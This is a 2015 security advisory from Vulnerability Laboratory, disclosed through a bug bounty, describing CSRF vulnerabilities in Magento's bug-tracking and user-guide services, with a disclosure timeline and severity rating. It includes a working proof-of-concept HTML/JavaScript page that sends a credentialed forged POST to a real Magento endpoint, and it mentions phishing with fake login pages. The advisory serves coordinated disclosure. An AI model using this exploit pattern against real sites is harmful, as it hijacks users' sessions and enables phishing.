Ebay Magento Cross Site Request Forgery
Posted on 18 November 2015
Document Title: =============== Magento Bug Bounty #24 - Multiple CSRF Web Vulnerabilities References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1643 APPSEC-1122 Video: http://www.vulnerability-lab.com/get_content.php?id=1642 Release Date: ============= 2015-11-11 Vulnerability Laboratory ID (VL-ID): ==================================== 1643 Common Vulnerability Scoring System: ==================================== 3.4 Product & Service Introduction: =============================== Magento is an open source e-commerce web application that was launched on March 31, 2008 under the name Bento. It was developed by Varien (now Magento, a division of eBay) with help from the programmers within the open source community but is now owned solely by eBay Inc. Magento was built using parts of the Zend Framework. It uses the entity-attribute-value (EAV) database model to store data. In November 2013, W3Techs estimated that Magento was used by 0.9% of all websites. Our team of security professionals works hard to keep Magento customer information secure. What`s equally important to protecting this data? Our security researchers and user community. If you find a site that isn`t following our policies, or a vulnerability inside our system, please tell us right away. ( Copy of the Vendor Homepage: http://magento.com/security & http://magento.com/security ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Core Research Team discovered multiple client-side cross site request forgery vulnerabilities in the official Magento online service web-application. Vulnerability Disclosure Timeline: ================================== 2015-09-24: Researcher Notification & Coordination (Hadji Samir - Evolution Security GmbH) 2015-09-24: Vendor Notification (Magento Security Team - Bug Bounty Program) 2015-09-30: Vendor Response/Feedback (Magento Security Team - Bug Bounty Program) 2015-10-25: Vendor Fix/Patch (Magento Developer Team) 2015-10-30: Bug Bounty Reward (Magento Security Team - Bug Bounty Program) 2015-11-06: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ Multiple client-side cross site request forgery web vulnerabilities has been discovered in the official Magento online service web-application. The vulnerability allows remote attacker to manipulate client-side web-application to browser requests to unauthorized execute application functions. The vulnerability is located in the document form POST method request of the vulnerable `/ce/user_guide/` and `/products/bug-tracking/report/saveIssue/` modules. Remote attackers with low privileged web-application user accounts are able to inject own malicious script codes to unauthorized execute application functions with valid session credentials. The request method to inject is POST and the attack vector is located on the client-side of the magento online-service. The security risk of the cross site web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.4. Exploitation of the cross site request forgery web vulnerabilities requires a low privileged web application user account and low or medium user interaction. Successful exploitation results in client-side account theft by hijacking, client-side phishing, client-side external redirects and non-persistent manipulation of affected or connected service modules. Request Method(s): [+] POST Vulnerable Service(s): [+] magentocommerce.com [+] merch.docs.magento.com Vulnerable Module(s): [+] /ce/user_guide/ [+] /products/bug-tracking/report/saveIssue/ Proof of Concept (PoC): ======================= The vulnerabilities can be exploited by remote attackers with low privileged magento web-application user account and low or medium user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. PoC #1: CSRF <html> <body> <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http://www.magentocommerce.com/products/bug-tracking/report/saveIssue/", true); xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------19231779319179266351580746291"); xhr.withCredentials = true; var body = "-----------------------------19231779319179266351580746291 " + "Content-Disposition: form-data; name="title" " + " " + "test " + "-----------------------------19231779319179266351580746291 " + "Content-Disposition: form-data; name="type" " + " " + "1 " + "-----------------------------19231779319179266351580746291 " + "Content-Disposition: form-data; name="version" " + " " + "17340 " + "-----------------------------19231779319179266351580746291 " + "Content-Disposition: form-data; name="description" " + " " + " " + "-----------------------------19231779319179266351580746291 " + "Content-Disposition: form-data; name="steps" " + " " + "test " + "-----------------------------19231779319179266351580746291 " + "Content-Disposition: form-data; name="files[]"; filename="" " + "Content-Type: application/octet-stream " + " " + " " + "-----------------------------19231779319179266351580746291 " + "Content-Disposition: form-data; name="files[]"; filename="" " + "Content-Type: application/octet-stream " + " " + " " + "-----------------------------19231779319179266351580746291 " + "Content-Disposition: form-data; name="files[]"; filename="" " + "Content-Type: application/octet-stream " + " " + " " + "-----------------------------19231779319179266351580746291 " + "Content-Disposition: form-data; name="files[]"; filename="" " + "Content-Type: application/octet-stream " + " " + " " + "-----------------------------19231779319179266351580746291 " + "Content-Disposition: form-data; name="files[]"; filename="" " + "Content-Type: application/octet-stream " + " " + " " + "-----------------------------19231779319179266351580746291 " + "Content-Disposition: form-data; name="expected_result" " + " " + "test " + "-----------------------------19231779319179266351580746291 " + "Content-Disposition: form-data; name="actual_result" " + " " + "test " + "-----------------------------19231779319179266351580746291-- "; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } </script> <form action="#"> <input type="button" value="Submit request" onclick="submitRequest();" /> </form> </body> </html> Reference(s): http://www.magentocommerce.com/ http://www.magentocommerce.com/bug-tracking/ http://www.magentocommerce.com/bug-tracking/report PoC #2: CSRF URL: http://merch.docs.magento.com/ce/user_guide/Magento_Community_Edition_User_Guide.html Note: Remote attackers are able to inject own websites/webpages with fake login for phishing attacks against the login users Reference(s): http://merch.docs.magento.com/ http://merch.docs.magento.com/ce/ http://merch.docs.magento.com/ce/user_guide/Magento_Community_Edition_User_Guide.html Security Risk: ============== The security risk of the cross site request forgery web vulnerabilities in the magento online service are estimated as medium. (CVSS 3.4) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Hadji Samir (samir@evolution-sec.com) [http://www.vulnerability-lab.com/show.php?user=Hadji%20Samir] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. 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